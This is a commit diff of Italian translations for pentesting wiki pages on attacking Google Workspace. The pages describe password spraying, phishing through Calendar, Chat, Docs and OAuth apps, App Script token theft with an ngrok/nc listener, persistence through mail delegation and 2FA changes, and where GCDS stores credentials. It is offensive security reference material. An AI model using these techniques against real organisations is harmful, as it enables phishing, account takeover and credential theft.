Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:00:08 +00:00
parent 931ae54e5f
commit 5dd38218dd
206 changed files with 1236 additions and 1254 deletions

View File

@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
### Password Spraying
Per testare le password con tutte le email che hai trovato (o che hai generato basandoti su un modello di nome email che potresti aver scoperto) potresti utilizzare uno strumento come [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (anche se sembra non essere mantenuto) che utilizzerà AWS lambdas per cambiare indirizzo IP.
Per testare le password con tutte le email che hai trovato (o che hai generato basandoti su un modello di nome email che potresti aver scoperto) potresti utilizzare uno strumento come [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (anche se sembra non essere mantenuto) che utilizzerà le lambda AWS per cambiare indirizzo IP.
## Post-Exploitation
Se hai compromesso alcune credenziali o la sessione dell'utente puoi eseguire diverse azioni per accedere a potenziali informazioni sensibili dell'utente e cercare di escalare privilegi:
Se hai compromesso alcune credenziali o la sessione dell'utente, puoi eseguire diverse azioni per accedere a potenziali informazioni sensibili dell'utente e cercare di elevare i privilegi:
{{#ref}}
gws-post-exploitation.md
@@ -35,7 +35,7 @@ Leggi di più sulle diverse tecniche per pivotare tra GWS e GCP in:
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
- **GCPW (Google Credential Provider for Windows)**: Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo **memorizzerà i token per accedere a Google Workspace** in alcuni luoghi nel PC.
- **GCDS (Google Cloud Directory Sync)**: Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace**. Lo strumento richiede le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizzerebbe gli utenti di tanto in tanto.
- **GCDS (Google Cloud Directory Sync)**: Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace**. Lo strumento richiede le **credenziali di un superutente di Workspace e di un utente privilegiato di AD**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizzerebbe gli utenti di tanto in tanto.
- **Admin Directory Sync**: Consente di sincronizzare gli utenti da AD e EntraID in un processo senza server da [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
{{#ref}}
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
## Persistence
Se hai compromesso alcune credenziali o la sessione dell'utente controlla queste opzioni per mantenere la persistenza su di esse:
Se hai compromesso alcune credenziali o la sessione dell'utente, controlla queste opzioni per mantenere la persistenza su di esse:
{{#ref}}
gws-persistence.md

View File

@@ -18,7 +18,7 @@ A quanto pare, per impostazione predefinita, nei workspace i membri [**possono c
## Google Chat Phishing
Potresti essere in grado di **iniziare una chat** con una persona avendo solo il suo indirizzo email o inviare un'**invito a parlare**. Inoltre, è possibile **creare uno Spazio** che può avere qualsiasi nome (ad es. "Google Support") e **invitare** membri a farne parte. Se accettano, potrebbero pensare di stare parlando con il supporto Google:
Potresti essere in grado di **iniziare una chat** con una persona semplicemente avendo il suo indirizzo email o inviare un'**invito a parlare**. Inoltre, è possibile **creare uno Spazio** che può avere qualsiasi nome (ad es. "Google Support") e **invitare** membri a farne parte. Se accettano, potrebbero pensare di stare parlando con il Google Support:
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
@@ -29,17 +29,17 @@ Puoi controllare come questo ha funzionato in passato in: [https://www.youtube.c
## Google Doc Phishing
In passato era possibile creare un **documento apparentemente legittimo** e in un commento **menzionare un'email (come @user@gmail.com)**. Google **inviava un'email a quell'indirizzo email** notificando che era stato menzionato nel documento.\
Oggigiorno, questo non funziona più, ma se **dai accesso al documento all'email della vittima**, Google invierà un'email che lo indica. Questo è il messaggio che appare quando menzioni qualcuno:
In passato era possibile creare un **documento apparentemente legittimo** e in un commento **menzionare qualche email (come @user@gmail.com)**. Google **inviava un'email a quell'indirizzo email** notificando che erano stati menzionati nel documento.\
Oggigiorno, questo non funziona, ma se **dai accesso al documento alla vittima** Google invierà un'email che lo indica. Questo è il messaggio che appare quando menzioni qualcuno:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Le vittime potrebbero avere meccanismi di protezione che non consentono che le email che indicano che un documento esterno è stato condiviso con loro raggiungano la loro email.
> Le vittime potrebbero avere meccanismi di protezione che non permettono che le email che indicano che un documento esterno è stato condiviso con loro raggiungano la loro email.
## Google Calendar Phishing
Puoi **creare un evento di calendario** e aggiungere quanti più indirizzi email dell'azienda che stai attaccando. Pianifica questo evento di calendario in **5 o 15 minuti** dall'orario attuale. Fai sembrare l'evento legittimo e **metti un commento e un titolo che indicano che devono leggere qualcosa** (con il **link di phishing**).
Puoi **creare un evento nel calendario** e aggiungere quanti più indirizzi email dell'azienda che stai attaccando. Pianifica questo evento nel calendario tra **5 o 15 minuti** dall'orario attuale. Fai sembrare l'evento legittimo e **metti un commento e un titolo che indicano che devono leggere qualcosa** (con il **link di phishing**).
Questo è l'avviso che apparirà nel browser con un titolo di riunione "Licenziamento di persone", quindi potresti impostare un titolo più simile al phishing (e persino cambiare il nome associato alla tua email).
@@ -48,7 +48,7 @@ Questo è l'avviso che apparirà nel browser con un titolo di riunione "Licenzia
Per farlo sembrare meno sospetto:
- Impostalo in modo che **i destinatari non possano vedere le altre persone invitate**
- **NON inviare email che notificano l'evento**. In questo modo, le persone vedranno solo il loro avviso su una riunione tra 5 minuti e che devono leggere quel link.
- **NON inviare email che notificano riguardo all'evento**. Così, le persone vedranno solo il loro avviso riguardo a una riunione tra 5 minuti e che devono leggere quel link.
- A quanto pare, utilizzando l'API puoi impostare su **True** che **le persone** hanno **accettato** l'evento e persino creare **commenti a loro nome**.
## App Scripts Redirect Phishing
@@ -79,15 +79,15 @@ gws-app-scripts.md
## OAuth Apps Phishing
Qualsiasi delle tecniche precedenti potrebbe essere utilizzata per far accedere l'utente a un **Google OAuth application** che **richiederà** all'utente alcuni **accessi**. Se l'utente **si fida** della **fonte**, potrebbe **fidarsi** dell'**applicazione** (anche se sta chiedendo permessi ad alta privilegio).
Qualsiasi delle tecniche precedenti potrebbe essere utilizzata per far accedere l'utente a un **Google OAuth application** che **richiederà** all'utente alcuni **accessi**. Se l'utente **si fida** della **fonte**, potrebbe **fidarsi** dell'**applicazione** (anche se sta chiedendo permessi ad alto privilegio).
> [!NOTE]
> Nota che Google presenta un brutto avviso che avvisa che l'applicazione non è affidabile in diversi casi e gli amministratori di Workspace possono persino impedire alle persone di accettare le applicazioni OAuth.
**Google** consente di creare applicazioni che possono **interagire per conto degli utenti** con diversi **servizi Google**: Gmail, Drive, GCP...
Quando si crea un'applicazione per **agire per conto di altri utenti**, lo sviluppatore deve creare un **OAuth app all'interno di GCP** e indicare gli scope (permessi) di cui l'app ha bisogno per accedere ai dati degli utenti.\
Quando un **utente** desidera **utilizzare** quell'**applicazione**, verrà **richiesto** di **accettare** che l'applicazione avrà accesso ai propri dati specificati negli scope.
Quando si crea un'applicazione per **agire per conto di altri utenti**, lo sviluppatore deve creare un **OAuth app all'interno di GCP** e indicare gli ambiti (permessi) di cui l'app ha bisogno per accedere ai dati degli utenti.\
Quando un **utente** desidera **utilizzare** quell'**applicazione**, verrà **richiesto** di **accettare** che l'applicazione avrà accesso ai propri dati specificati negli ambiti.
Questo è un modo molto allettante per **phishare** utenti non tecnici nell'utilizzo di **applicazioni che accedono a informazioni sensibili** perché potrebbero non comprendere le conseguenze. Tuttavia, negli account delle organizzazioni, ci sono modi per prevenire che ciò accada.
@@ -97,12 +97,12 @@ Come è stato menzionato, Google presenterà sempre un **avviso all'utente per a
Questo avviso appare nelle app che:
- Usano qualsiasi scope che può accedere a dati privati (Gmail, Drive, GCP, BigQuery...)
- App con meno di 100 utenti (app > 100 è necessario anche un processo di revisione per smettere di mostrare l'avviso di non verifica)
- Usano qualsiasi ambito che può accedere a dati privati (Gmail, Drive, GCP, BigQuery...)
- App con meno di 100 utenti (per app > 100 è necessario anche un processo di revisione per smettere di mostrare l'avviso di non verifica)
### Scope Interessanti
### Ambiti Interessanti
[**Qui**](https://developers.google.com/identity/protocols/oauth2/scopes) puoi trovare un elenco di tutti gli scope OAuth di Google.
[**Qui**](https://developers.google.com/identity/protocols/oauth2/scopes) puoi trovare un elenco di tutti gli ambiti OAuth di Google.
- **cloud-platform**: Visualizza e gestisci i tuoi dati attraverso i servizi di **Google Cloud Platform**. Puoi impersonare l'utente in GCP.
- **admin.directory.user.readonly**: Vedi e scarica la directory GSuite della tua organizzazione. Ottieni nomi, telefoni, URL del calendario di tutti gli utenti.
@@ -115,8 +115,8 @@ Questo avviso appare nelle app che:
2. Poi, ti verrà chiesto se il **tipo di utente** è **interno** (solo per le persone nella tua organizzazione) o **esterno**. Seleziona quello che si adatta alle tue esigenze
- Interno potrebbe essere interessante se hai già compromesso un utente dell'organizzazione e stai creando questa App per phishingare un altro.
3. Dai un **nome** all'app, un **email di supporto** (nota che puoi impostare un'email di googlegroup per cercare di anonimizzarti un po' di più), un **logo**, **domini autorizzati** e un'altra **email** per **aggiornamenti**.
4. **Seleziona** gli **scope OAuth**.
- Questa pagina è divisa in permessi non sensibili, permessi sensibili e permessi ristretti. Ogni volta che aggiungi un nuovo permesso, viene aggiunto alla sua categoria. A seconda dei permessi richiesti, appariranno diversi avvisi all'utente indicando quanto siano sensibili questi permessi.
4. **Seleziona** gli **ambiti OAuth**.
- Questa pagina è divisa in permessi non sensibili, permessi sensibili e permessi ristretti. Ogni volta che aggiungi un nuovo permesso, viene aggiunto alla sua categoria. A seconda dei permessi richiesti, appariranno diversi avvisi per l'utente indicando quanto siano sensibili questi permessi.
- Sia **`admin.directory.user.readonly`** che **`cloud-platform`** sono permessi sensibili.
5. **Aggiungi gli utenti di test.** Finché lo stato dell'app è in fase di test, solo questi utenti potranno accedere all'app, quindi assicurati di **aggiungere l'email che stai per phishingare**.
@@ -124,7 +124,7 @@ Ora otteniamo **credenziali per un'applicazione web** utilizzando il **precedent
1. Torna a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), questa volta apparirà un'opzione diversa.
2. Seleziona di **creare credenziali per un'applicazione web**
3. Imposta gli **origini Javascript** e gli **URI di reindirizzamento** necessari
3. Imposta i necessari **origini Javascript** e **URI di reindirizzamento**
- Puoi impostare in entrambi qualcosa come **`http://localhost:8000/callback`** per testare
4. Ottieni le **credenziali** della tua applicazione
@@ -135,7 +135,7 @@ cd gcp_oauth_phishing_example
pip install flask requests google-auth-oauthlib
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
```
Vai a **`http://localhost:8000`**, clicca sul pulsante Accedi con Google, ti verrà **richiesto** un messaggio come questo:
Vai su **`http://localhost:8000`**, clicca sul pulsante Accedi con Google, ti verrà **richiesto** un messaggio come questo:
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>

View File

@@ -71,7 +71,7 @@ Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](ht
Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**.
### Token di leak
### Token di accesso
Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**:
@@ -80,7 +80,7 @@ Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambi
- **Drive**: Per accedere ai dati di drive
- **Google Sheets API**: Affinché funzioni con il trigger
Per cambiare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
Per modificare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
@@ -138,54 +138,54 @@ Per catturare la richiesta puoi semplicemente eseguire:
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:
Permessi richiesti per eseguire lo Script App:
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**.
### Create Trigger
### Crea Trigger
Una volta letta l'App, clicca su **⏰ Triggers** per creare un trigger. Come **function** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.
Una volta letto l'App, clicca su **⏰ Triggers** per creare un trigger. Come **funzione** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.
Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa.
### Sharing
### Condivisione
Per **triggerare** l'**App Script**, la vittima deve connettersi con **Editor Access**.
Per **attivare** lo **Script App** la vittima deve connettersi con **Accesso Editor**.
> [!TIP]
> Il **token** utilizzato per eseguire l'**App Script** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.
> Il **token** utilizzato per eseguire lo **Script App** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.
### Abusing Shared With Me documents
### Abusare dei documenti Condivisi con Me
> [!CAUTION]
> Se qualcuno ti ha **condiviso un documento con App Scripts e un trigger utilizzando il Head** dell'App Script (non un deployment fisso), puoi modificare il codice dell'App Script (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e l'**App Script verrà eseguito con i permessi dell'utente che ha condiviso il documento con te**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
> Se qualcuno ti ha **condiviso un documento con Script App e un trigger utilizzando il Head** dello Script App (non un deployment fisso), puoi modificare il codice dello Script App (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e lo **Script App verrà eseguito con i permessi dell'utente che ti ha condiviso il documento**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
>
> Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?)
> [!TIP]
> Se un **attaccante modifica gli scope dell'App Script**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.
> Se un **attaccante modifica gli scope dello Script App**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.
### Copying instead of sharing
### Copiare invece di condividere
Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
Se l'utente lo copia e lo accede, sia i **contenuti del documento che gli App Scripts verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.
Se l'utente lo copia e accede, sia i **contenuti del documento che gli Script App verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.
### Sharing as Web Application
### Condivisione come Applicazione Web
Nota che è anche possibile **condividere un App Script come un'applicazione Web** (nell'Editor dell'App Script, distribuisci come un'applicazione Web), ma apparirà un avviso come questo:
Nota che è anche possibile **condividere uno Script App come un'applicazione Web** (nell'Editor dello Script App, distribuisci come applicazione Web), ma apparirà un avviso come questo:
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
Seguito dal **tipico prompt OAuth che chiede** i permessi necessari.
### Testing
### Test
Puoi testare un token raccolto per elencare le email con:
```bash
@@ -211,7 +211,7 @@ Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e se
> [!CAUTION]
> Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo.
### Bypass del Prompt Non Verificato del Documento Condiviso
### Bypass della Finestra di Conferma Non Verificata del Documento Condiviso
Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**.

View File

@@ -19,7 +19,7 @@
1. Apri [Gmail](https://mail.google.com/).
2. Nella casella di ricerca in alto, fai clic su Mostra opzioni di ricerca ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36).
3. Inserisci i tuoi criteri di ricerca. Se vuoi controllare che la tua ricerca abbia funzionato correttamente, guarda quali email appaiono cliccando su **Cerca**.
3. Inserisci i tuoi criteri di ricerca. Se vuoi controllare che la tua ricerca abbia funzionato correttamente, guarda quali email appaiono facendo clic su **Cerca**.
4. In fondo alla finestra di ricerca, fai clic su **Crea filtro**.
5. Scegli cosa vuoi che faccia il filtro.
6. Fai clic su **Crea filtro**.
@@ -51,7 +51,7 @@ Se sei riuscito a **compromettere una sessione utente di Google** e l'utente ave
## Cambiare 2-FA e simili
È anche possibile **disattivare 2-FA o registrare un nuovo dispositivo** (o numero di telefono) in questa pagina [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
**È anche possibile generare chiavi di accesso (aggiungere il proprio dispositivo), cambiare la password, aggiungere numeri di telefono per la verifica e il recupero, cambiare l'email di recupero e cambiare le domande di sicurezza).**
**È anche possibile generare chiavi di accesso (aggiungere il proprio dispositivo), cambiare la password, aggiungere numeri di telefono per telefoni di verifica e recupero, cambiare l'email di recupero e cambiare le domande di sicurezza).**
> [!CAUTION]
> Per **prevenire le notifiche push di sicurezza** che raggiungono il telefono dell'utente, potresti **disconnettere il suo smartphone** (anche se sarebbe strano) perché non puoi riconnetterlo da qui.
@@ -73,7 +73,7 @@ gws-google-platforms-phishing/
## Persistenza tramite delega
Puoi semplicemente **delega l'account** a un diverso account controllato dall'attaccante (se ti è consentito farlo). In **Organizzazioni** di Workspace questa opzione deve essere **abilitata**. Può essere disabilitata per tutti, abilitata per alcuni utenti/gruppi o per tutti (di solito è abilitata solo per alcuni utenti/gruppi o completamente disabilitata).
Puoi semplicemente **delegare l'account** a un altro account controllato dall'attaccante (se ti è consentito farlo). In **Organizzazioni** di Workspace questa opzione deve essere **abilitata**. Può essere disabilitata per tutti, abilitata per alcuni utenti/gruppi o per tutti (di solito è abilitata solo per alcuni utenti/gruppi o completamente disabilitata).
<details>
@@ -105,7 +105,7 @@ Gli utenti possono delegare l'accesso solo a un altro utente nella stessa organi
Accedi utilizzando un _account amministratore_, non il tuo attuale account CarlosPolop@gmail.com
2. Nella console di amministrazione, vai su Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![e poi](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **App**![e poi](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![e poi](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![e poi](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Impostazioni utente**.
3. Per applicare l'impostazione a tutti, lascia selezionata l'unità organizzativa principale. Altrimenti, seleziona un'unità organizzativa secondaria [organizzativa](https://support.google.com/a/topic/1227584).
3. Per applicare l'impostazione a tutti, lascia selezionata l'unità organizzativa principale. Altrimenti, seleziona un'unità organizzativa secondaria [organizational unit](https://support.google.com/a/topic/1227584).
4. Fai clic su **Delega email**.
5. Seleziona la casella **Consenti agli utenti di delegare l'accesso alla loro casella di posta ad altri utenti nel dominio**.
6. (Facoltativo) Per consentire agli utenti di specificare quali informazioni del mittente sono incluse nei messaggi delegati inviati dal loro account, seleziona la casella **Consenti agli utenti di personalizzare questa impostazione**.
@@ -145,7 +145,7 @@ Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione:
3. Fai clic sulla scheda **Account e importazione** o **Account**.
4. Nella sezione "Concedi accesso al tuo account", fai clic su **Aggiungi un altro account**. Se stai utilizzando Gmail tramite il tuo lavoro o scuola, la tua organizzazione potrebbe limitare la delega delle email. Se non vedi questa impostazione, contatta il tuo amministratore.
- Se non vedi Concedi accesso al tuo account, allora è limitato.
5. Inserisci l'indirizzo email della persona che desideri aggiungere. Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione, e il tuo amministratore lo consente, puoi inserire l'indirizzo email di un gruppo. Questo gruppo deve avere lo stesso dominio della tua organizzazione. I membri esterni del gruppo sono negati l'accesso alla delega.\
5. Inserisci l'indirizzo email della persona che desideri aggiungere. Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione, e il tuo amministratore lo consente, puoi inserire l'indirizzo email di un gruppo. Questo gruppo deve avere lo stesso dominio della tua organizzazione. I membri esterni del gruppo non possono accedere alla delega.\
\
**Importante:** Se l'account che delegi è un nuovo account o la password è stata reimpostata, l'amministratore deve disattivare il requisito di cambiare la password quando accedi per la prima volta.
@@ -154,7 +154,7 @@ Se stai utilizzando Gmail tramite il tuo lavoro, scuola o altra organizzazione:
6. Fai clic su **Passo successivo** ![e poi](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Invia email per concedere accesso**.
La persona che hai aggiunto riceverà un'email che chiede di confermare. L'invito scade dopo una settimana.
La persona che hai aggiunto riceverà un'email chiedendo di confermare. L'invito scade dopo una settimana.
Se hai aggiunto un gruppo, tutti i membri del gruppo diventeranno delegati senza dover confermare.
@@ -168,7 +168,7 @@ Se hai una **sessione all'interno dell'account Google della vittima** puoi navig
## **Persistenza tramite** App Scripts
Puoi creare **trigger basati sul tempo** in App Scripts, quindi se lo Script dell'app viene accettato dall'utente, verrà **attivato** anche **senza che l'utente vi acceda**. Per ulteriori informazioni su come fare questo controlla:
Puoi creare **trigger basati sul tempo** in App Scripts, quindi se lo Script dell'app è accettato dall'utente, verrà **attivato** anche **senza che l'utente vi acceda**. Per ulteriori informazioni su come fare questo controlla:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md

View File

@@ -41,7 +41,7 @@ In [**https://mail.google.com/chat**](https://mail.google.com/chat) puoi acceder
## Google Drive Mining
Quando **condividi** un documento puoi **specificare** le **persone** che possono accedervi una per una, **condividerlo** con l'**intera azienda** (**o** con alcuni **gruppi** specifici) generando un **link**.
Quando **condividi** un documento puoi **specificare** le **persone** che possono accedervi una per una, **condividerlo** con l'intera **azienda** (**o** con alcuni **gruppi** specifici) generando un **link**.
Quando condividi un documento, nelle impostazioni avanzate puoi anche **permettere alle persone di cercare** questo file (per **default** questo è **disabilitato**). Tuttavia, è importante notare che una volta che gli utenti visualizzano un documento, è ricercabile da loro.

View File

@@ -1,10 +1,10 @@
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
# GWS - Attacchi di sincronizzazione Workspace (GCPW, GCDS, GPS, Sincronizzazione directory con AD & EntraID)
{{#include ../../../banners/hacktricks-training.md}}
## GCPW - Google Credential Provider for Windows
Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo memorizzerà **token** per accedere a Google Workspace in alcuni luoghi nel PC: Disco, memoria e il registro... è persino possibile ottenere la **password in chiaro**.
Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali Workspace**. Inoltre, questo memorizzerà **token** per accedere a Google Workspace in alcuni luoghi nel PC: Disco, memoria e il registro... è persino possibile ottenere la **password in chiaro**.
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**.
@@ -17,9 +17,9 @@ gcpw-google-credential-provider-for-windows.md
## GCSD - Google Cloud Directory Sync
Questo è uno strumento che può essere utilizzato per **synchronizzare gli utenti e i gruppi della tua directory attiva con il tuo Workspace** (e non viceversa al momento della scrittura).
Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace** (e non viceversa al momento della scrittura).
È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
È interessante perché è uno strumento che richiederà le **credenziali di un superutente Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali criptate**.
@@ -45,9 +45,9 @@ Trova ulteriori informazioni su questo in:
gps-google-password-sync.md
{{#endref}}
## Admin Directory Sync
## Sincronizzazione Directory Admin
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire mentre **Admin Directory Sync è senza server** gestito da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire mentre **la Sincronizzazione Directory Admin è senza server** gestita da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Trova ulteriori informazioni su questo in:

View File

@@ -4,25 +4,25 @@
## Informazioni di base
Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi della tua active directory con il tuo Workspace** (e non viceversa al momento della scrittura).
Questo è uno strumento che può essere utilizzato per **synchronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace** (e non viceversa al momento della scrittura).
È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
> [!NOTE]
> Per eseguire un **MitM** sul binario **`config-manager.exe`** basta aggiungere la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Per eseguire un **MitM** sul binario **`config-manager.exe`**, aggiungi semplicemente la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali crittografate**.
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace come puoi vedere nell'immagine seguente:
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace, come puoi vedere nell'immagine seguente:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - Token di disco e credenziali AD
### GCDS - Token del disco e credenziali AD
Il binario `config-manager.exe` (il principale binario GCDS con GUI) memorizzerà le credenziali di Active Directory configurate, il token di aggiornamento e l'accesso per impostazione predefinita in un **file xml** nella cartella **`C:\Program Files\Google Cloud Directory Sync`** in un file chiamato **`Untitled-1.xml`** per impostazione predefinita. Anche se potrebbe essere salvato anche nei `Documenti` dell'utente o in **qualsiasi altra cartella**.
Il binario `config-manager.exe` (il principale binario GCDS con GUI) memorizzerà le credenziali di Active Directory configurate, il token di aggiornamento e l'accesso per impostazione predefinita in un **file xml** nella cartella **`C:\Program Files\Google Cloud Directory Sync`** in un file chiamato **`Untitled-1.xml`** per impostazione predefinita. Anche se potrebbe anche essere salvato nei `Documenti` dell'utente o in **qualsiasi altra cartella**.
Inoltre, il registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** all'interno della chiave **`open.recent`** contiene i percorsi a tutti i file di configurazione recentemente aperti (xml). Quindi è possibile **controllarlo per trovarli**.
Inoltre, il registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** all'interno della chiave **`open.recent`** contiene i percorsi di tutti i file di configurazione recentemente aperti (xml). Quindi è possibile **controllarlo per trovarli**.
Le informazioni più interessanti all'interno del file sarebbero:
```xml
@@ -49,7 +49,7 @@ Le informazioni più interessanti all'interno del file sarebbero:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
